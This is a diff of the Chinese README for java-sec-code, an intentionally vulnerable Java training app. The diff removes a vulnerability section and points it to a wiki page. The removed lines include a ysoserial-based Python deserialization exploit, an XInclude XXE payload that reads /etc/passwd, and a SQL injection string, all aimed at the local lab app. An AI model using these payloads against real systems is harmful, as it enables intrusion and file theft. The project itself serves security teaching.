|
18 | 18 | - [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) |
19 | 19 | - [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) |
20 | 20 | - [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) |
| 21 | +- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) |
21 | 22 |
|
22 | 23 | ## 如何运行 |
23 | 24 |
|
@@ -61,121 +62,6 @@ http://localhost:8080/rce/exec?cmd=whoami |
61 | 62 | Viarus |
62 | 63 | ``` |
63 | 64 |
|
| 65 | +### 漏洞说明 |
64 | 66 |
|
65 | | -## SSRF |
66 | | - |
67 | | -针对SSRF具体利用,可以阅读我写的[这篇博文](https://joychou.org/java/javassrf.html)。 |
68 | | - |
69 | | -## 反序列化 |
70 | | - |
71 | | -打包ysoserial |
72 | | - |
73 | | -``` |
74 | | -git clone https://github.com/frohoff/ysoserial.git |
75 | | -mvn clean package -DskipTests |
76 | | -``` |
77 | | - |
78 | | -执行exp |
79 | | - |
80 | | -```python |
81 | | -#coding: utf-8 |
82 | | -#author: JoyChou |
83 | | -#date: 2018.07.17 |
84 | | - |
85 | | -import requests |
86 | | -import subprocess |
87 | | - |
88 | | -def poc(url , gadget, command): |
89 | | - ys_filepath = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' |
90 | | - popen = subprocess.Popen(['java', '-jar', ys_filepath, gadget, command], stdout=subprocess.PIPE) |
91 | | - payload = popen.stdout.read() |
92 | | - r = requests.post(url, data=payload, timeout=5) |
93 | | - |
94 | | -if __name__ == '__main__': |
95 | | - poc('http://127.0.0.1:8080/deserialize/test', 'CommonsCollections5', 'open -a Calculator') |
96 | | -``` |
97 | | - |
98 | | -## 文件上传 |
99 | | - |
100 | | -目前这类漏洞在spring里非常少,原因有两点: |
101 | | -1. 大多数公司上传的文件都会到cdn |
102 | | -2. spring的jsp文件必须在web-inf目录下才能执行 |
103 | | - |
104 | | -除非,可以上传war包到tomcat的webapps目录。所以就不YY写漏洞了。 |
105 | | - |
106 | | -访问`http://localhost:8080/file/`进行文件上传,上传成功后,再访问`http://localhost:8080/image/上传的文件名`可访问上传后的文件。 |
107 | | - |
108 | | -## XXE |
109 | | - |
110 | | -### 支持Xinclude的XXE |
111 | | - |
112 | | -2018年08月22日更新支持XInclude的XXE漏洞代码,详情见代码。 |
113 | | - |
114 | | -POC |
115 | | - |
116 | | -```xml |
117 | | -<?xml version="1.0" ?> |
118 | | -<root xmlns:xi="http://www.w3.org/2001/XInclude"> |
119 | | - <xi:include href="file:///etc/passwd" parse="text"/> |
120 | | -</root> |
121 | | -``` |
122 | | - |
123 | | -URL编码后的payload |
124 | | - |
125 | | -``` |
126 | | -http://localhost:8080/xxe/DocumentBuilder_xinclude?xml=%3C%3fxml+version%3d%221.0%22+%3f%3E%0d%0a%3Croot+xmlns%3axi%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXInclude%22%3E%0d%0a+%3Cxi%3ainclude+href%3d%22file%3a%2f%2f%2fetc%2fpasswd%22+parse%3d%22text%22%2f%3E%0d%0a%3C%2froot%3E |
127 | | -``` |
128 | | - |
129 | | -详情可以查看[浅析xml之xinclude & xslt](https://www.anquanke.com/post/id/156227) |
130 | | - |
131 | | -## SQL注入 |
132 | | - |
133 | | -### POC |
134 | | - |
135 | | -访问`http://localhost:8080/sqli/jdbc?id=1' or 'a'='a`返回`joychou: 123 wilson: 456 lightless: 789`。 |
136 | | - |
137 | | -正常访问`http://localhost:8080/sqli/jdbc?id=1`返回`joychou: 123` |
138 | | - |
139 | | -### 数据库表数据SQL |
140 | | - |
141 | | -```sql |
142 | | - |
143 | | -SET NAMES utf8mb4; |
144 | | -SET FOREIGN_KEY_CHECKS = 0; |
145 | | - |
146 | | --- ---------------------------- |
147 | | --- Table structure for users |
148 | | --- ---------------------------- |
149 | | -DROP TABLE IF EXISTS `users`; |
150 | | -CREATE TABLE `users` ( |
151 | | - `name` varchar(255) NOT NULL, |
152 | | - `password` varchar(255) NOT NULL, |
153 | | - `isAdmin` varchar(255) NOT NULL, |
154 | | - `id` int(10) NOT NULL AUTO_INCREMENT, |
155 | | - PRIMARY KEY (`id`) |
156 | | -) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; |
157 | | - |
158 | | --- ---------------------------- |
159 | | --- Records of users |
160 | | --- ---------------------------- |
161 | | -BEGIN; |
162 | | -INSERT INTO `users` VALUES ('joychou', '123', '1', 1); |
163 | | -INSERT INTO `users` VALUES ('wilson', '456', '0', 2); |
164 | | -INSERT INTO `users` VALUES ('lightless', '789', '0', 3); |
165 | | -COMMIT; |
166 | | - |
167 | | -SET FOREIGN_KEY_CHECKS = 1; |
168 | | - |
169 | | - |
170 | | -``` |
171 | | - |
172 | | -### 说明 |
173 | | - |
174 | | -SQL注入修复方式采用预处理方式,修复见代码。Mybatis的`#{}`也是预处理方式处理SQL注入。 |
175 | | - |
176 | | -在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写sql语句时,注意orderBy后的变量要使用${},而不用#{}。因为`#{}`变量是经过预编译的,${}没有经过预编译。虽然${}存在sql注入的风险,但orderBy必须使用`${}`,因为`#{}`会多出单引号`''`导致sql语句失效。为防止sql注入只能自己判断输入的值是否是否存在SQL。 |
177 | | - |
178 | | -```sql |
179 | | -select * from users order by 'id' desc -- 排序无效,默认升序 |
180 | | -select * from users order by id desc -- 降序 |
181 | | -``` |
| 67 | +查看[漏洞说明文档](https://github.com/JoyChou93/java-sec-code/wiki/%E6%BC%8F%E6%B4%9E%E8%AF%B4%E6%98%8E%E6%96%87%E6%A1%A3) |
0 commit comments